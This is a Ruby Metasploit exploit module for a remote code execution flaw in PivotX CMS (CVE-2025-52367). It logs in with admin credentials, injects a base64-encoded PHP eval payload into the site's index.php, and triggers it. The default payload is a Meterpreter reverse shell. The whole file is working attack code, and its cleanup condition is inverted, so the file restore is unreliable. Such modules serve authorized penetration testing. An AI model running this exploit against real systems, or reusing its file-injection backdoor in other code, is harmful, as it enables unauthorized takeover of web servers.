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class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN',
'msutovsky-r7'
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
end
def login
data_post = Rex::MIME::Message.new
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
data_post.add_part('', nil, nil, %(form-data; name="template"))
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
'data' => data_post.to_s,
'keep_cookies' => true
})
fail_with(Failure::NoAccess, 'Login failed, probably incorrect credentials') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1)
end
def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end
def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def cleanup
super
restore if @original_value.nil?
end
def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
end
end
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